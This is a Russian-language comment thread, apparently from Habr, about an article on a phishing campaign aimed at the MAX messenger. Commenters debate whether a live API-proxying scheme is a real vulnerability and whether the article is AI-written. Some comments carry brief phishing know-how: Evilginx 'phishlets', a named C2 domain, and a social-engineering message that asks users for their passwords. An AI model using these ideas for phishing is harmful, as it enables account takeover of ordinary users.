Короче, можно сказать что не существует такого понятия как "нажал на ссылку и все украли". Но по телевизору, для обывателя, конечно лучше упростить — "не нажимайте на незнакомые ссылки а то все украдут"
Иногда... некоторые граждане занимаются виктиблеймингом, типа сам установил Макс - сам виноват.
Вот история, женщина... 85 лет, банковских приложений не стоит, телефон под контролем взрослого сына, мошенники несколько раз звонили, но всегда посылались лесом. Пытается созвониться с племянницей в другом городе и переслать ей фотки, ТГ не работает, WA не работает, IMO у племянницы не стоит... племянница говорит, а поставьте Макс... и наша героиня переходит по ссылке и ставит Макс. И так-то оно вроде и ничего страшного, всё работает, но вот нарваться на MITM-атаку не хотелось бы.
Не в тему, но в то же время в тему. Когда был 2024 год я говорил что к концу 2025 начнут резать фонд оплаты труда и настанет кризис в ИТ. Ну понятно, что со сроками не угадал - это произошло массово в в первые 3 месяца 2026 года.
Теперь же я сижу и говорю - они порезали самых сильных инженеров, оставили волков и слабых по компетенциям. Почему? Потому что они тупо меньше денег жрут. Они же, эти слабые, менеджерам пыль в глаза пускают какие они крутые и переделывают найм (на самом деле превращают в экзамены с тупыми вопросами и ответами), на самом деле его ломая.
Они же создают среду, где тяпляп и в продакшн. На безопасность плюют, ведь ИИ им об этом не сообщает. И усиливают эту среду - набирая таких же.
Вк этим грешит. И вот результат. Жду когда в 2027 году менеджеры снова вспомнят о дорогих специалистах и вспомнят почему они дорогие и наймут разгребать эту кучу гона. Эта куча рвзгребется хорошо если к концу 2027.
Автор молодец что озвучил такую проблему, однако ждать решения от вк лично я бы не стал - они заняты блокировками VPN и внедрением Макс на МКС и вообще куда угодно, потому что щас важнее деньги компании им а не деньги населения
Они же создают среду, где тяпляп и в продакшн. На безопасность плюют, ведь ИИ им об этом не сообщает. И усиливают эту среду - набирая таких же.
А Вы помните фильм The Net 1995 года? Ну, тот, где сервера командой ping взламывали. А мы ещё смеялись...
https://www.itnews.com.au/news/microsoft-patches-include-two-bugs-already-exploited-592075
CVE-2023-23415 looks like a “ping of death”.
It’s an ICMP remote code execution (RCE) bug with a CVSS score of 9.8, and would be exploited by sending a fragment inside another ICMP packet to the target.
Successful exploitation needs an application on the target to be bound to a raw TCP/IP socket.
Слушайте , ну ощущение , что в ВК - Мах сидят одни дилетанты - это же далеко не так ? Все там разработка прекрасно понимает, как работает их авторизация. Это ровно та же история , что и с М-Видео, есть несколько сйтов полных копий основного онлайн-магазина.
согласен, хотя мы их кухни не знаем, и "дилетантизм" может оказаться в самом неожиданном месте. Самое плохое в подобной ситуации не реагировать более 90 дней на реальную проблему для приложения с миллионами пользователей...
Слушайте , ну ощущение , что в ВК - Мах сидят одни дилетанты - это же далеко не так?
Не так! Они там не одни. Там ещё уборщица есть.
Очередной говнонейрослоп как под копирку - невозможно читать.
del
На техническом ресурсе, в разделе Информационной безопасности - люто заплюсованный пост-нейротрэш, не имеющий с ИБ ничего общего. Это обычный фишинг, его не могут устранить разработчики. Почитав комментарии, видя реакции на них в виде стрелочек вверх и вниз, становится понятно, что идёт ответка на впаривание маха. Проблема только в том, что попытки его очернить в данном посте, это не уровень ИБ, это для Пикабу. Вот если бы технически подкованный, реальный багхантер раскопал багу и так вот поставил на место разарабов маха, то да, но для этого есть ББ-площадки, а на "Хабр уже не торт" можно скидывать нейрослоп.
Вне зависимости от того, какую оценку CVSS реально можно набрать на такой вулне, как минимум, в статье подсвечено, что в саппорте вк молчат и не считают нужным хотя бы сказать: "репортер - лох, не кликай по левым ссылкам, и другу своему скажи. И Вы не правы - тут не вулна, а фича".
Видите ли какое дело, на том же Standoff BB триажеры запарились получать сгенерированные ИИ-отчёты. Данный пост это типичное произведение ИИ. Думаю, получив такое, в саппорте и молчат. А кому отвечать, автору, что не удосужился перепроверить творчество нейронки и отправил разрабам "отчёт"? Тут же в комментариях автор пошёл назад пятками, разве нельзя было сделать это ДО отправки. Вот из-за подобных приходится ждать, пока триаж ответит, разобрав кучу нейрохлама в виде репортов. Это тоже и есть одна из причин, почему меня так зацепил данный пост, и те кто влепили мне в карму минус с подписью "Подозрительная активность", теперь знайте причину :)
При прочтении статьи у меня такого ощущения не появилось. К тому же статья не равно отчёт. В статье написано, что автор писал отчёт по стандартам индустрии, на хабре же написана статья.
Это прям чересчур стандартные стандарты, их так нейронка и оформляет. Стиль автора в комментариях и статье - разница видна же. И главное - автор вообще будто не в теме о чём его же пост. В комментариях даже не пытался разъяснить, почему так он написал про Orgin, Referer тот же, а сразу говорит мол да, мой косяк.
Устранить не могут, но иметь такую безалаберную аутентификацию и отсутствие поведенческих фильтров при открыто незашифрованном чате? Приложение хочет тесной интеграции с гос. сервисами. Это провал.
Насчет Хабра и его аудитории согласен.
Автор, выложите список доменов, пожалуйста.
Нужно что то придумать, чтобы родители не смогли зайти на эти домены.
Следует обратить внимание на ещё одну проблему.
Недостаточно советов, как просто не попасться на фишинг. Нет нормальных решений что делать, если ты всё-таки попался.
При попытке залогиниться, Макс высылает новый код в уведенный Макс, то есть получить его ты не можешь.
Если через некоторое время ты все же залогинишься через SMS, то злоумышленник тебя моментально выкинет из твоего же аккаунта, используя функцию "завершить другие сессии".
Как итог, если ты попался на фишинг, то ты гарантированно потерял свой аккаунт на несколько часов или дней, пока сработает твоя заявка в саппорт или какой-то автоматический антиспам, который разлогинит тебя со всех устройств.
Решение: нужна возможность принудительно завершить все сессии в Макс, введя код из SMS.
Может я чего-то не понимаю, но обычная привязка app_id к пользователю и невозможность другому пользователю войти с этого id пока не вышел первый спасет от такого "фишинга". Не так? А то понаписали тут, что нет уязвимости и МАХ не виноват...
Самая классное, что тг замедлили, потому что там много мошенников и дали нам МАХ, который для мошенников в несколько раз лучше (как минимум доступ к тг аккаунту не дает возможности войти в госуслуги)
Эта тема пришла по емайл рассылке. Почемуто с Эээээстонского IP типа от ЕС.
Теперь понял, почему темы на Хабре даже про простые лампочки загажены
ботами от политики. Если я сказал не точно то пож забанте..
Очень интересно, но всё опять сводится к тому, что в том, что аккаунт взломали, всё же виноват пользователь. Да и в целом 99,99% всех взломов — это фишинг или соц. инженерия, а прямых уязвимостей, таких, что без ведома пользователя его взломают, практически нет.Знаю случай, когда один студент создал страницу в ВК, поставил фото Дурова, заполнил его данные (отличия — по сути в стене, отсутствии золотого рейтинга и ID страницы) и просто от лица этой страницы сделал рассылку в личку пользователей с текстом вроде: «С вашей страницы зафиксирован вход с разных устройств. В целях безопасности рекомендуем сменить пароль. Для этого пришлите старый пароль, новый и его подтверждение». Примерно половина пользователей отправляла пароли в личку. Ну и какая тут речь о безопасности? Надо повышать уровень грамотности.И тут либо удобные быстрые сервисы, где мы всё делаем в один клик, и наивные пользователи, которые сами сливают все свои данные; либо каждый чих — только путем личного визита в МФЦ, вплоть до того, чтобы войти на сайт, вам сначала надо приехать в офис (сессия истекла или вышли — приезжайте снова).Я думаю, в конечном счёте сработает естественный отбор: все, кто не приспособится к цифровой жизни, так и будут жертвами мошенников. Скорее всего, нужна новая служба — киберполиция, чтобы находить таких и максимально наказывать. Вот тогда мошенники, возможно, хоть чего-то будут бояться, а сейчас они по сути абсолютно безнаказанны.
Есть такой проект, называется Evilginx, он позволяет поднимать серверы для MiTM под разные сервисы, в том числе всякие google, instagram и т.д. Как вариант люди могли создать фишлет для махи под него.
Только вот не согласен что MiTM в статье называется уязвимостью API.
По названию я вообще подумал что была найдена уязвимость в API у фишеров.
app.any.run никак работет без регистрации и без бизнес-почты.
Закрыть кампанию можно или через регистратора C2 (Dynadot должен отозвать this-is-face.dev),
Я может не прав, но что мешает им организовать связку на новом домене? Да будет немного дольше переезд из-за новых ns серверов... Тут только ловить таких преступников остаётся.
Тут важно разделить две вещи: технический разбор фишинга и выводы, которые автор делает про уязвимость и инфраструктуру.
По первой части — да, такие схемы с проксированием через API и “живыми” сессиями действительно существуют и это уже не уровень простого “собрал логины через форму”. Это нормальный evolution фишинговых китов: минимизация следов на клиенте + вся логика на бэкенде + быстрый ротационный хостинг.
Но по части “критической уязвимости в API” — тут уже нужны очень аккуратные формулировки. Многие из описанных проблем (Origin-check, rate-limit, device binding и т.д.) в реальных продуктах либо частично закрываются на других уровнях, либо компенсируются антифродом, который не всегда виден снаружи.
И ещё момент: вывод “MITM через реальный API = мгновенный полный угон аккаунта” в реальности обычно сложнее из-за дополнительных проверок (поведенческих, сессионных, риск-скоринга и т.п.), которые в тексте почти не затронуты.
В целом статья интересная как кейс анализа фишинговой инфраструктуры, но часть выводов про уязвимость выглядит как экстраполяция наблюдаемого поведения системы без полной картины серверных защит.
Мне прислали фишинг под MAX. Я разобрал ссылку и нашёл уязвимость в их API